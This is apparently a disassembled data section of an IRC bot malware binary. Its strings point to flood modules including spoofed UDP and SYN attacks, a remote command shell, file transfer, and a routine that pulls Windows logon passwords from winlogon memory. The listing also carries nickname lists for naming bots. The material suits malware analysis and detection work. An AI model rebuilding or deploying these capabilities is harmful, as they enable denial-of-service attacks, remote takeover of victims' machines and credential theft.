db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aErrorSendingPa db 'error sending packets to %s. %d packets sent, returned %d',0
align 4
unk_439B78 db 2Dh ; - ; DATA XREF: sub_413C65+326o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aDoneWithSFlood db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0
align 4
unk_439BC4 db 2Dh ; - ; DATA XREF: sub_413C65+12Ao
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidTargetI db 'invalid target ip',0
align 4
unk_439BE4 db 2Dh ; - ; DATA XREF: sub_413C65+C2o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aSetsockoptFail db 'setsockopt() failed, returned %d',0
align 4
unk_439C14 db 2Dh ; - ; DATA XREF: sub_413C65+49o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aSocketFailed_0 db 'socket() failed, returned %d',0
align 10h
unk_439C40 db 2Dh ; - ; DATA XREF: sub_414050+13Co
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFinishedSendin db 'finished sending pings to %s',0
align 4
unk_439C6C db 2Dh ; - ; DATA XREF: sub_414050+6Eo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aErrorSendingPi db 'error sending pings to %s',0
align 4
unk_439C94 db 2Dh ; - ; DATA XREF: sub_4141DC+1C7o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFinishedSend_0 db '- finished sending packets to %s',0
align 10h
unk_439CC0 db 2Dh ; - ; DATA XREF: sub_4141DC+8Eo
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aErrorSending_0 db '- error sending packets to %s',0
align 4
dword_439CE8 dd 234032Dh, 73796B73h, 3026E79haDoneWithFloodI db '- Done with flood (%iKB/sec)',0
align 4
unk_439D14 db 2Dh ; - ; DATA XREF: sub_41458C+48o
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aDoneWithFloo_0 db '- Done with flood (%iKB/sec).',0
align 4
unk_439D3C db 2Dh ; - ; DATA XREF: sub_414628+295o
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aSendErrorD_ db '- Send error: <%d>.',0
align 4
dword_439D5C dd 234032Dh, 67726174h, 3023361haDoneWithFlood_ db '- Done with flood.',0
align 10h
unk_439D80 db 2Dh ; - ; DATA XREF: sub_414BED+4E4o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSending_1 db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 10h
unk_439DD0 db 2Dh ; - ; DATA XREF: sub_414BED+471o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aDoneWithSFlo_0 db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 10h
unk_439E20 db 2Dh ; - ; DATA XREF: sub_414BED+15Fo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidTarge_0 db '- Invalid target IP.',0
align 10h
unk_439E40 db 2Dh ; - ; DATA XREF: sub_414BED+EEo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSetsockop db '- Error: setsockopt() failed, returned: <%d>.',0
align 4
unk_439E78 db 2Dh ; - ; DATA XREF: sub_414BED+70o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSocketFai db '- Error: socket() failed, returned: <%d>.',0
align 4
unk_439EAC db 2Dh ; - ; DATA XREF: sub_415189+60o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aDoneWithFloodD db '- Done with flood, %d packets sent.',0
align 10h
unk_439EE0 db 2Dh ; - ; DATA XREF: sub_415478+47o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aStartingWisdom db '- Starting Wisdom spoofed UDP flood thread.',0
align 10h
unk_439F20 db 2Dh ; - ; DATA XREF: sub_4154EE+348o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorSending_2 db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
align 10h
unk_439FB0 db 2Dh ; - ; DATA XREF: sub_4154EE+2F6o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFinishedSend_1 db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
db 'a sent (~%dK/s).',0
align 4
unk_43A014 db 2Dh ; - ; DATA XREF: sub_4154EE+CCo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aSendingPackets db '- Sending packets to %s...',0
unk_43A040 db 2Dh ; - ; DATA XREF: sub_4154EE+80o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aInvalidTarge_1 db '- Invalid target IP. WSAGetLastError() returns %d.',0
align 8
unk_43A088 db 2Dh ; - ; DATA XREF: sub_4154EE+63o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSe db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0
align 4
unk_43A0D8 db 2Dh ; - ; DATA XREF: sub_4154EE+2Ao
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSo db '- Error calling socket().',0
align 4
unk_43A104 db 2Dh ; - ; DATA XREF: sub_415846+5Do
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aDoneWithFloodP db 'Done with flood, ports hit: %s',0
align 10h
aSD db '%s%d ',0 ; DATA XREF: sub_4159E0+1F1o
align 4
dword_43A138 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3dword_43A14C dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dha_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415F45+60o
align 4
dword_43A184 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
; DATA XREF: sub_415FE5:loc_41601Ao
dword_43A198 dd 35310302h, 25B302Ch, 91313003h, 6C343003h, 67026F02h
; DATA XREF: sub_415FE5+20o
dd 2C313003h, 3A343103h, 2203103h, 656C0243h, 64657261h
dd 0
dword_43A1C4 dd 35310302h, 25B302Ch, 91313003h, 6C343003h, 67026F02h
; DATA XREF: sub_416058+DCo
dd 2C313003h, 3A343103h, 6C203103h, 20747369h, 6F024302h
dd 656C706Dh, 6574h
dword_43A1F4 dd 35310302h, 25B302Ch, 91313003h, 6C343003h, 67026F02h
; DATA XREF: sub_416058+3Fo
dd 2C313003h, 3A343103h, 6C203103h, 20747369h, 74025302h
dd 69747261h, 676Eh
unk_43A224 db 2Dh ; - ; DATA XREF: sub_41620D+170o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSendTo db '- failed to send to Remote command shell',0
align 4
unk_43A258 db 2Dh ; - ; DATA XREF: sub_41620D+ABo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenRe db '- failed to open remote command shell',0
align 4
unk_43A288 db 2Dh ; - ; DATA XREF: sub_41620D+47o
; sub_4163CE+FDo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenSo db '- failed to open socket',0
align 4
dword_43A2AC dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: sub_4163CE+362o
; sub_416770+156o
dd 726F72h
unk_43A2C4 db 2Dh ; - ; DATA XREF: sub_4163CE+2FAo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0
align 10h
unk_43A2F0 db 2Dh ; - ; DATA XREF: sub_4163CE+202o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aUnableToOpenSo db '- unable to open socket',0
align 4
dword_43A314 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
; DATA XREF: sub_4163CE+1CBo
dd 74756Fh
dword_43A32C dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_4163CE+16Ao
dd 169h
unk_43A344 db 2Dh ; - ; DATA XREF: sub_4163CE+127o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileDoesnTExis db '- file doesn',27h,'t exist',0
align 4
unk_43A364 db 2Dh ; - ; DATA XREF: sub_4163CE+82o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToBindTo db '- failed to bind to socket',0
unk_43A388 db 2Dh ; - ; DATA XREF: sub_4163CE+44o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToCrea_2 db '- failed to create socket',0
align 4
unk_43A3AC db 2Dh ; - ; DATA XREF: sub_416770+1CFo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceivedSFromS db '- received %s from %s (%s bytes).',0
align 4
unk_43A3D8 db 2Dh ; - ; DATA XREF: sub_416770+CBo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningSo db '- error opening socket',0
unk_43A3F8 db 2Dh ; - ; DATA XREF: sub_416770+ABo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningFi db '- error opening file for writing',0
align 4
aAB db 'a+b',0 ; DATA XREF: sub_416770+97o
unk_43A428 db 2Dh ; - ; DATA XREF: sub_416770+83o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorUnableToW db '- error unable to write file to disk',0
align 4
dword_43A458 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 26F0244h
; DATA XREF: sub_4169AB+480o
dd 26E0277h, 26F026Ch, 2640261h, 31300302h, 3531032Ch
dd 2034033Ah, 61024202h, 2552064h, 204C0252h, 272024Fh
dd 2440220h, 220736Eh, 2720245h, 726F0272h, 3746120h, 73252031h
dd 2Eh
dword_43A4B0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 26F0244h
; DATA XREF: sub_4169AB+472o
dd 26E0277h, 26F026Ch, 2640261h, 31300302h, 3531032Ch
dd 2034033Ah, 70025502h, 2610264h, 2206574h, 69610246h
dd 65026C02h, 2202C64h, 2720245h, 726F0272h, 2450220h
dd 63026578h, 69747502h, 67026E02h, 25203103h, 73h, 0
dword_43A518 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 26F0244h
; DATA XREF: sub_4169AB+3B6o
dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch
dd 2034033Ah, 26F4402h, 6C026E77h, 261026Fh, 64026564h
dd 25203103h, 2066312Eh, 424B3403h, 36F7420h, 73252031h
dd 25204020h, 2066312Eh, 424B3403h, 6365732Fh, 3103202Ch
dd 70025502h, 61026402h, 2690274h, 4220676Eh, 74026F02h
dd 2 dup(0)
dword_43A598 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 26F0244h
; DATA XREF: sub_4169AB+34Do
dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch
dd 2034033Ah, 70024F02h, 6E026502h, 2026502h, 31030264h
dd 732520h
dword_43A5D8 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 26F0244h
; DATA XREF: sub_4169AB+2D6o
dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch
dd 2034033Ah, 26F4402h, 6C026E77h, 261026Fh, 64026564h
dd 25203103h, 2066312Eh, 424B3403h, 36F7420h, 73252031h
dd 25204020h, 2066312Eh, 424B3403h, 6365732Fh, 2 dup(0)
dword_43A640 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 26F0244h
; DATA XREF: sub_4169AB+257o
dd 26E0277h, 26F026Ch, 2640261h, 31300302h, 3531032Ch
dd 2031033Ah, 72025702h, 20676E6Fh, 1F631F02h, 1F025202h
dd 3021F63h, 25282034h, 3D212064h, 29642520h, 2Eh
dword_43A690 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 26F0244h
; DATA XREF: sub_4169AB+1CDo
dd 26E0277h, 26F026Ch, 2640261h, 31300302h, 3531032Ch
dd 2031033Ah, 72025702h, 20676E6Fh, 69024602h, 6973656Ch
dd 3403657Ah, 64252820h, 203D2120h, 2E296425h, 0
dword_43A6E0 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 26F0244h
; DATA XREF: sub_4169AB:loc_416B43o
dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch
dd 2034033Ah, 6F024702h, 55022074h, 61647002h, 31036574h
dd 20732520h, 25283403h, 29424B64h, 2Eh, 0
dword_43A730 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 26F0244h
; DATA XREF: sub_4169AB+191o
dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch
dd 2034033Ah, 26F4402h, 6C026E77h, 261026Fh, 64026564h
dd 25203403h, 34032073h, 4B642528h, 2942h, 0
dword_43A780 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 26F0244h
; DATA XREF: sub_4169AB+77o
dd 26E0277h, 26F026Ch, 2640261h, 31300302h, 3531032Ch
dd 2031033Ah, 6F024302h, 6E646C75h, 2207427h, 6570024Fh
dd 4602206Eh, 6C026902h, 33A6502h, 73252034h, 0
aUnknown db 'Unknown',0 ; DATA XREF: sub_416F3F:loc_416F82o
; sub_419599+104o
aInvalid db 'Invalid',0 ; DATA XREF: sub_416F3F:loc_416F7Co
aDisk db 'Disk',0 ; DATA XREF: sub_416F3F:loc_416F76o
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_416F3F:loc_416F70o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_416F3F:loc_416F6Ao
align 4
off_43A7F8 dd offset word_4D4152 ; DATA XREF: sub_416F3F:loc_416F64o
word_43A7FC dw 3Fh ; DATA XREF: sub_416F3F+1Fo
; sub_41B0A1:loc_41B1A3r
align 10h
aFailed db 'failed',0 ; DATA XREF: sub_416FD0:loc_4170A8o
; sub_4170EB+3Bo
align 4
aSkb db '%sKB',0 ; DATA XREF: sub_416FD0+6Bo
align 10h
dword_43A810 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_4170EB+8Eo
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1SDriveSSTotal db '1 %s drive (%s): %s total, %s free, %s available',0
align 4
dword_43A868 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_4170EB+58o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1SDriveSFailed db '1 %s drive (%s): failed to stat, device not ready',0
align 10h
aA_1 db 'A:\',0 ; DATA XREF: sub_4171BD:loc_417202o
dword_43A8C4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
; DATA XREF: sub_417240+C5o
dd 64252064h, 6C696620h, 7365h
unk_43A8E4 db 2Dh ; - ; DATA XREF: sub_417240+5Co
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingFor_0 db 'searching for file %s',0
align 4
dword_43A90C dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
; DATA XREF: sub_417358+107o
dd 73252064h, 73255Ch
dword_43A928 dd 2A5C7325h, 0 unk_43A930 db 2Dh ; - ; DATA XREF: sub_4174AA:loc_417623o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToEnable db 'failed to enable debug privilege',0
align 4
unk_43A964 db 2Dh ; - ; DATA XREF: sub_4174AA:loc_4175F6o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindWi db 'unable to find winlogon pid',0
unk_43A990 db 2Dh ; - ; DATA XREF: sub_4174AA:loc_4175EFo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindTh db 'unable to find the password in memory',0
align 4
unk_43A9C8 db 2Dh ; - ; DATA XREF: sub_4174AA+117o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
db 57h ; W
db 69h, 6Eh, 4Ch
db 6Fh ; o
db 67h, 6Fh, 6Eh
db 20h
db 49h, 6Eh, 66h
db 6Fh ; o
db 72h, 6Dh, 61h
db 74h ; t
db 69h, 6Fh, 6Eh
db 20h
db 28h, 50h, 49h
db 44h ; D
db 20h, 25h, 64h
db 29h ; )
db 20h, 2Dh, 20h
db 2
db 44h, 6Fh, 6Dh
db 61h ; a
db 69h, 6Eh, 2
db 3Ah ; :
db 20h, 2 dup(5Ch)
db 25h ; %
db 53h, 2Ch, 20h
db 2
db 55h, 73h, 65h
db 72h ; r
db 2, 3Ah, 20h
aSNoPassword_ db '(%S/(no password)).',0
aUserdomain: ; DATA XREF: sub_4174AA+DCo
unicode 0, <USERDOMAIN>,0
align 4
aUsername: ; DATA XREF: sub_4174AA+CEo
unicode 0, <USERNAME>,0
align 10h
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4174AA+9Ao
align 4
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4174AA+8Do
align 4
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4174AA+80o
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4174AA+73o
align 4
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4174AA+68o
align 10h
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_4174AA+55o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4174AA+40o
; sub_4174AA+161o ...
align 10h
unk_43AB00 db 2Dh ; - ; DATA XREF: sub_4174AA+35o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aOnlySupportedO db 'only supported on winnt/win2k',0
align 10h
aMsgina db 'MSGINA',0 ; DATA XREF: sub_41767C+13Eo
align 4
aNwgina db 'NWGINA',0 ; DATA XREF: sub_41767C+123o
align 10h
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_41767C+AFo
align 10h
dword_43AB50 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_417AD6+70o
; sub_417B6D+C7o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_43ABA0 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_417B6D+E1o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
dd 2929h, 0
off_43ABF8 dd offset aQ ; DATA XREF: sub_417FDF+5Cr
; "q"
dd offset dword_43B7A4
dd offset aE ; "e"
dd offset aR ; "r"
dd offset aT ; "t"
dd offset dword_43B7A0
dd offset aU ; "u"
dd offset aI ; "i"
dd offset aP ; "p"
dd offset aA ; "a"
dd offset aS_1 ; "s"
dd offset dword_43B79C
dd offset dword_43B798
dd offset dword_43B794
dd offset dword_43B790
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset asc_42F324 ; "l"
dd offset dword_43B78C
dd offset dword_43B788
dd offset aC ; "c"
dd offset aV ; "v"
dd offset dword_43B784
dd offset aN ; "n"
dd offset aM ; "m"
dd offset dword_43B780
dd offset dword_43B77C
dd offset dword_43B778
dd offset dword_43B774
dd offset dword_43B770
dd offset word_43B76C
dd offset dword_43B768
dd offset aI_0 ; "I"
dd offset dword_43B764
dd offset dword_43B760
dd offset aA_0 ; "A"
dd offset dword_43B75C
dd offset dword_43B758
dd offset dword_43B754
dd offset dword_43B750
dd offset dword_43B74C
dd offset dword_43B748
dd offset dword_43B744
dd offset dword_43B740
dd offset dword_43B73C
dd offset dword_43B738
dd offset dword_43B734
dd offset dword_43B730
dd offset dword_43B72C
dd offset word_43B728
dd offset aM_1 ; "M"
dd offset aSmartmir ; "SMARTMIR"
dd offset aFarooq ; "farooq"
dd offset aMaxxguy ; "maxxguy"
dd offset aBobmarley ; "BOBMARLEY"
dd offset aEmilya ; "emilya"
dd offset aKrizha ; "KRIZHA"
dd offset aCar1nna ; "Car1nna"
dd offset aSwin ; "swin"
dd offset aMale ; "male"
dd offset aKoko ; "koko"
dd offset aFlexster ; "flexster"
dd offset aKen ; "ken"
dd offset aShez ; "Shez"
dd offset aTalika ; "talika"
dd offset aMarcy ; "marcy"
dd offset aCme ; "cme"
dd offset aHeval ; "heval"
dd offset aBunty ; "bunty"
dd offset aJanno ; "janno"
dd offset aRimpy ; "rimpy"
dd offset aNastysha ; "nastysha"
dd offset aLuisa ; "Luisa"
dd offset aTroller ; "troller"
dd offset aManee ; "manee"
dd offset aKermit ; "kermit"
dd offset aPuregold ; "puregold"
dd offset aCoredump ; "CoreDump"
dd offset aImra ; "imra"
dd offset aGirl ; "GirL"
dd offset aCamel ; "CAMEL"
dd offset aReshma ; "reshma"
dd offset aKencing ; "Kencing"
dd offset aThr45h3r5 ; "THR45H3R5"
dd offset aCansuuuu ; "cansuuuu"
dd offset aKaan38dent ; "kaan38dent"
dd offset aErkan27 ; "erkan27"
dd offset aHexaaa ; "hexaaa"
dd offset aBerk19 ; "berk19"
dd offset aObenibisevse ; "OBeNiBiSeVSe"
dd offset aIrmal ; "irmal"
dd offset aMisssunday ; "misssunday"
dd offset aTolga34 ; "Tolga34"
dd offset aJericho ; "JERICHO"
dd offset aMary_0 ; "MARY"
dd offset aAkin ; "AKIN"
dd offset aMelekk ; "melekk"
dd offset aTrend3 ; "trend3"
dd offset aMERVE ; "M-E-R-V-E"
dd offset aTekir ; "tekir"
dd offset aVenedik34 ; "venedik34"
dd offset aSevmekmi ; "sevmekmi"
dd offset aSudenur ; "SUDENUR"
dd offset aArzu ; "ARZU"
dd offset aHaticem ; "haticem"
dd offset aErnesto ; "ERNESTO"
dd offset aAslii ; "aslii"
dd offset aPiramit ; "PIRAMIT"
dd offset aSamyeli21 ; "samyeli21"
dd offset aRetg ; "RETG"
dd offset aBlackpearl ; "blackpearl"
dd offset aPelincik ; "pelincik"
dd offset aAhmet ; "ahmet"
dd offset aTurkyy ; "turkyy"
dd offset aAnk32m ; "ank32m"
dd offset aZack ; "ZACK"
dd offset aIzmir39m ; "Izmir39m"
dd offset aAlbina ; "albina"
dd offset dword_43B4C0
dd offset off_43B4BC
dd offset aAnkh ; "ankh"
dd offset aDonjuanm ; "Donjuanm"
dd offset aBogac ; "bogac"
dd offset aAlpay34m ; "alpay34m"
dd offset aCongueror ; "CoNGuERoR"
dd offset aDenizlim ; "DenizliM"
dd offset aBerk19m ; "Berk19m"
dd offset aDevran ; "devran"
dd offset aArda ; "arda"
dd offset aKeyiflisert ; "keyifliSERT"
dd offset aMurat34M ; "murat34-m"
dd offset aHakan3 ; "hakan3"
dd offset aImirzali ; "IMIRZALI--"
dd offset aRamtha ; "RAMTHA"
dd offset aEmre ; "Emre--"
dd offset aElmaazyok ; "elmaazyok"
dd offset aEsmerkiz ; "Esmerkiz"
dd offset aKebikec ; "kebikec"
dd offset aFlord ; "FLoRD"
dd offset aHoly ; "holy"
dd offset aMahinur ; "MAHINUR"
dd offset aSadikaellesme ; "SaDIkaEllesme"
dd offset aAykut1 ; "aykut1"
dd offset aKashmira ; "Kashmira"
dd offset aSeviseli ; "SeViSeLi"
dd offset aSugarboy ; "SUGARBOY-"
dd offset aUzgun36 ; "uzgun36"
dd offset aKumul ; "kumul"
dd offset aAdalim ; "ADALIM"
dd offset aUmut ; "umut-"
dd offset aAnk32M ; "ANK-32-M"
dd offset aDjspace ; "DJSPACE"
dd offset aAnkar ; "Ankar"
dd offset aFenerlee ; "FeNeRLee"
dd offset aHayran ; "hayran"
dd offset aAngelgirl ; "angelgirl"
dd offset aKapk ; "kapk"
dd offset aAchilles ; "Achilles"
dd offset aTegmen ; "TEGMEN"
dd offset aKotan ; "kotan"
dd offset aSevda ; "sevda"
dd offset off_43B328
dd offset aAlcatras ; "alcatras"
dd offset aA44m ; "a44m"
dd offset aBirsen ; "birsen"
dd offset aYabanc ; "yabanc"
dd offset aDevre ; "devre"
dd offset aErkan ; "erkan"
dd offset aAnkm ; "ankM"
dd offset aAdem28 ; "Adem28"
dd offset aMaxsilla ; "maxsilla"
dd offset aM41ist ; "M41IST"
dd offset aAdamm33 ; "AdAMM33"
dd offset aFirtina ; "firtina"
dd offset aAta29 ; "Ata29"
dd offset aKoray ; "KORAY"
dd offset aAkden ; "akden"
dd offset aIzmirlm ; "izmirlm"
dd offset aUla ; "ula"
dd offset aNeHaber ; "NE-HABER"
dd offset aPassenger ; "passenger"
dd offset aTropikal ; "tropikal"
dd offset aCool30m ; "cool30m"
dd offset aCem39 ; "cem39"
dd offset aRerpjj ; "RERPJJ"
dd offset aTeoman ; "TEOMAN```"
dd offset aDallas43m ; "DALLAS43M"
dd offset aPrometheus ; "prometheus"
dd offset aMaveRIck ; "MaVe{R}icK"
dd offset aAdamm ; "ADAMM"
dd offset aCumhur29 ; "cumhur29"
dd offset aWantedlove ; "WANTEDLOVE"
off_43AEF8 dd offset aSex ; DATA XREF: sub_417FDF+41r
; sub_417FDF+ECr
; "sex"
dd offset aLez ; "lez"
dd offset aZex ; "zex"
dd offset aTree ; "tree"
dd offset aBad ; "bad"
dd offset aLag ; "lag"
dd offset aTambe ; "|tambe|"
dd offset aWoh ; "|woh|"
dd offset aTot ; "-|tot|"
dd offset aSuck ; "|suck|"
dd offset aLuck ; "|luck|"
dd offset aHub ; "{hub}"
dd offset aSex_0 ; "{sex}"
dd offset aGens ; "{gens|"
dd offset aLuvuF ; "||luvu-f|"
dd offset aWiked ; "|wiked|"
dd offset aSick ; "sick}}"
dd offset aQ8 ; "Q8"
dd offset aQ8A ; "|q8|a"
dd offset dword_43B784
dd offset aC ; "c"
dd offset dword_43B79C
dd offset aE ; "e"
dd offset dword_43B798
dd offset dword_43B794
dd offset dword_43B790
dd offset aI ; "i"
dd offset dword_42DB48
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset asc_42F324 ; "l"
dd offset aM ; "m"
dd offset aN ; "n"
dd offset aO ; "o"
dd offset aP ; "p"
dd offset aQ ; "q"
dd offset aRs ; "rs"
dd offset aT ; "t"
dd offset aU ; "u"
dd offset aV ; "v"
dd offset dword_43B7A4
dd offset dword_43B788
dd offset dword_43B7A0
dd offset dword_43B78C
dd offset aHappy ; "happy"
dd offset aRg ; "rg"
dd offset aTy ; "ty"
dd offset aGf ; "gf"
dd offset aRt ; "rt"
dd offset aSdf ; "sdf"
dd offset aUi ; "ui"
dd offset aLuvy ; "luvy"
dd offset aTrimy ; "trimy"
dd offset aTruck ; "truck"
dd offset aMuckc ; "muckc"
dd offset dword_43B78C
dd offset dword_43B794
dd offset aS_1 ; "s"
dd offset aQ ; "q"
dd offset off_43B148
dd offset aBbl ; "|bbl"
dd offset byte_4404C4
dd offset byte_4404C4
dd offset a___0 ; "_|_"
dd offset byte_4404C4
dd offset byte_4404C4
dd offset byte_4404C4
dd offset byte_4404C4
dd offset dword_43B754
dd offset aM_1 ; "M"
dd offset aLuvu ; "LUVU"
dd offset aSad ; "Sad"
dd offset aF ; "^^^f^"
dd offset dword_43B784
dd offset byte_4404C4
dd offset aSleeping ; "Sleeping"
dd offset byte_4404C4
dd offset byte_4404C4
dd offset aFuck_0 ; "Fuck"
dd offset aFree ; "Free"
dd offset byte_4404C4
dd offset byte_4404C4
dd offset dword_43B738
dd offset byte_4404C4
dd offset aBoy ; "BOY"
dd offset aGirl_0 ; "GIRL"
dd offset aGurl ; "gurl"
dd offset aShit ; "shit"
dd offset aAha ; "aha"
dd offset aYeah ; "yeah"
dd offset aMuha ; "muha"
dd offset aMof0 ; "mof0"
dd offset aMofo ; "mofo"
dd offset dword_43B0C8
dd offset dword_43B0C4
dd offset dword_43B0BC
dd offset dword_43B0B0
dd offset dword_43B0A8
dd offset dword_43B0A0
dd offset dword_43B098
dd offset dword_43B094
